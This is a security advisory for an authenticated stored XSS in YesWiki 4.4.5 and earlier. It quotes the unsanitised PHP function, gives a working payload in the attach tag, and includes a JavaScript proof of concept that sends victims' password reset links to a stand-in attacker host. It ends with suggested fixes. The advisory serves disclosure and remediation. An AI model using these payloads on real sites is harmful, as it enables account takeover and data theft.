ghsa-w59h-3x3q-3p6j
Vulnerability from github
Authenticated Stored XSS in YesWiki <= 4.4.5
Summary
It is possible for an authenticated user with rights to edit/create a page or comment to trigger a stored XSS which will be reflected on any page where the resource is loaded.
This Proof of Concept has been performed using the followings:
- YesWiki v4.4.5 (doryphore-dev
branch, latest)
- Docker environnment (docker/docker-compose.yml
)
- Docker v27.5.0
- Default installation
Details
The vulnerability makes use of the content edition feature and more specifically of the {{attach}}
component allowing users to attach files/medias to a page. When a file is attached using the {{attach}}
component, if the resource contained in the file
attribute doesn't exist, then the server will generate a file upload button containing the filename.
This part of the code is managed in tools/attach/libs/attach.lib.php
and the faulty function is showFileNotExits().
php
public function showFileNotExits()
{
echo '<a href="' . $this->wiki->href('upload', $this->wiki->GetPageTag(), "file=$this->file") . '" class="btn btn-primary"><i class="fa fa-upload icon-upload icon-white"></i> ' . _t('UPLOAD_FILE') . ' ' . $this->file . '</a>';
}
The file name attribute is not properly sanitized when returned to the client, therefore allowing the execution of malicious JavaScript code in the client's browser.
PoC
1. Simple XSS
Here is a working payload {{attach file="<script>alert(document.domain)</script>" desc="" size="original" class=" whiteborder zoom" nofullimagelink="1"}}
tha works in pages and comments:
On a comment:
On a page:
2. Full account takeover scenario
By changing the payload of the XSS it was possible to establish a full acount takeover through a weak password recovery mechanism abuse (CWE-460). The following exploitation script allows an attacker to extract the password reset link of every logged in user that is triggered by the XSS:
javascript
fetch('/?ParametresUtilisateur')
.then(response => {
return response.text();
})
.then(htmlString => {
const parser = new DOMParser();
const doc = parser.parseFromString(htmlString, 'text/html');
const resetLinkElement = doc.querySelector('.control-group .controls a'); //dirty
fetch('http://attacker.lan:4444/?xss='.concat(btoa(resetLinkElement.href)));
})
Posting a comment using this specially crafted payload with a user account:
Allows our administrator account's password reset link to be sent to the listener of the attacker:
Therefore giving us access to an successful password reset for any account triggering the XSS:
Impact
This vulnerability allows any malicious authenticated user that has the right to create a comment or edit a page to be able to steal accounts and therefore modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availabilty and confidentiality of a YesWiki instance.
Suggestion of possible corrective measures
- Sanitize properly the filename attribute
php
public function showFileNotExits()
{
$filename = htmlspecialchars($this->file);
echo '<a href="' . $this->wiki->href('upload', $this->wiki->GetPageTag(), "file=$filename") . '" class="btn btn-primary"><i class="fa fa-upload icon-upload icon-white"></i> ' . _t('UPLOAD_FILE') . ' ' . $filename . '</a>';
}
- Implement a stronger password reset mechanism through:
- Not showing a password reset link to an already logged-in user.
- Generating a password reset link when a reset is requested by a user, and only send it by mail.
-
Add an expiration/due date to the token
-
Implement a strong Content Security Policy to mitigate other XSS sinks (preferably using a random nonce)
The latter idea is expensive to develop/implement, but given the number of likely sinks allowing Cross Site Scripting in the YesWiki source code, it seems necessary and easier than seeking for any improperly sanitized user input.
{ "affected": [ { "database_specific": { "last_known_affected_version_range": "\u003c= 4.4.5" }, "package": { "ecosystem": "Packagist", "name": "yeswiki/yeswiki" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "4.5.0" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2025-24018" ], "database_specific": { "cwe_ids": [ "CWE-79" ], "github_reviewed": true, "github_reviewed_at": "2025-01-21T20:10:49Z", "nvd_published_at": "2025-01-21T17:15:16Z", "severity": "HIGH" }, "details": "# Authenticated Stored XSS in YesWiki \u003c= 4.4.5\n\n### Summary\nIt is possible for an authenticated user with rights to edit/create a page or comment to trigger a stored XSS which will be reflected on any page where the resource is loaded.\n\nThis Proof of Concept has been performed using the followings:\n- YesWiki v4.4.5 (`doryphore-dev` branch, latest)\n- Docker environnment (`docker/docker-compose.yml`)\n- Docker v27.5.0\n- Default installation\n\n### Details\nThe vulnerability makes use of the content edition feature and more specifically of the `{{attach}}` component allowing users to attach files/medias to a page. When a file is attached using the `{{attach}}` component, if the resource contained in the `file` attribute doesn\u0027t exist, then the server will generate a file upload button containing the filename. \n\nThis part of the code is managed in `tools/attach/libs/attach.lib.php` and the faulty function is **[showFileNotExits()](https://github.com/YesWiki/yeswiki/blob/doryphore-dev/tools/attach/libs/attach.lib.php#L660)**.\n\n```php\npublic function showFileNotExits()\n{\n echo \u0027\u003ca href=\"\u0027 . $this-\u003ewiki-\u003ehref(\u0027upload\u0027, $this-\u003ewiki-\u003eGetPageTag(), \"file=$this-\u003efile\") . \u0027\" class=\"btn btn-primary\"\u003e\u003ci class=\"fa fa-upload icon-upload icon-white\"\u003e\u003c/i\u003e \u0027 . _t(\u0027UPLOAD_FILE\u0027) . \u0027 \u0027 . $this-\u003efile . \u0027\u003c/a\u003e\u0027;\n}\n```\n\nThe file name attribute is not properly sanitized when returned to the client, therefore allowing the execution of malicious JavaScript code in the client\u0027s browser.\n\n### PoC\n#### 1. Simple XSS\nHere is a working payload `{{attach file=\"\u003cscript\u003ealert(document.domain)\u003c/script\u003e\" desc=\"\" size=\"original\" class=\" whiteborder zoom\" nofullimagelink=\"1\"}}` tha works in pages and comments:\n\nOn a comment:\n\n\n\n\n\nOn a page:\n\n\n\n\n#### 2. Full account takeover scenario\nBy changing the payload of the XSS it was possible to establish a full acount takeover through a weak password recovery mechanism abuse ([CWE-460](https://cwe.mitre.org/data/definitions/640.html)). The following exploitation script allows an attacker to extract the password reset link of every logged in user that is triggered by the XSS:\n\n```javascript\nfetch(\u0027/?ParametresUtilisateur\u0027)\n .then(response =\u003e {\n return response.text();\n })\n .then(htmlString =\u003e {\n const parser = new DOMParser();\n const doc = parser.parseFromString(htmlString, \u0027text/html\u0027);\n const resetLinkElement = doc.querySelector(\u0027.control-group .controls a\u0027); //dirty\n fetch(\u0027http://attacker.lan:4444/?xss=\u0027.concat(btoa(resetLinkElement.href)));\n })\n```\n\nPosting a comment using this specially crafted payload with a user account:\n\n\n\nAllows our administrator account\u0027s password reset link to be sent to the listener of the attacker:\n\n\n\n\nTherefore giving us access to an successful password reset for any account triggering the XSS:\n\n\n\n### Impact\nThis vulnerability allows any malicious authenticated user that has the right to create a comment or edit a page to be able to steal accounts and therefore modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availabilty and confidentiality of a YesWiki instance.\n\n### Suggestion of possible corrective measures\n- Sanitize properly the filename attribute\n\n```php\npublic function showFileNotExits()\n{\n $filename = htmlspecialchars($this-\u003efile);\n echo \u0027\u003ca href=\"\u0027 . $this-\u003ewiki-\u003ehref(\u0027upload\u0027, $this-\u003ewiki-\u003eGetPageTag(), \"file=$filename\") . \u0027\" class=\"btn btn-primary\"\u003e\u003ci class=\"fa fa-upload icon-upload icon-white\"\u003e\u003c/i\u003e \u0027 . _t(\u0027UPLOAD_FILE\u0027) . \u0027 \u0027 . $filename . \u0027\u003c/a\u003e\u0027;\n}\n```\n\n- Implement a stronger password reset mechanism through:\n + Not showing a password reset link to an already logged-in user. \n + Generating a password reset link when a reset is requested by a user, and only send it by mail.\n + Add an expiration/due date to the token\n\n- Implement a strong Content Security Policy to mitigate other XSS sinks (preferably using a random nonce)\n\u003e The latter idea is expensive to develop/implement, but given the number of likely sinks allowing Cross Site Scripting in the YesWiki source code, it seems necessary and easier than seeking for any improperly sanitized user input.", "id": "GHSA-w59h-3x3q-3p6j", "modified": "2025-01-21T20:10:49Z", "published": "2025-01-21T20:10:49Z", "references": [ { "type": "WEB", "url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-w59h-3x3q-3p6j" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24018" }, { "type": "WEB", "url": "https://github.com/YesWiki/yeswiki/commit/c1e28b59394957902c31c850219e4504a20db98b" }, { "type": "PACKAGE", "url": "https://github.com/YesWiki/yeswiki" }, { "type": "WEB", "url": "https://github.com/YesWiki/yeswiki/blob/v4.4.5/tools/attach/libs/attach.lib.php#L660" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L", "type": "CVSS_V3" } ], "summary": "Authenticated Stored XSS in YesWiki" }
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.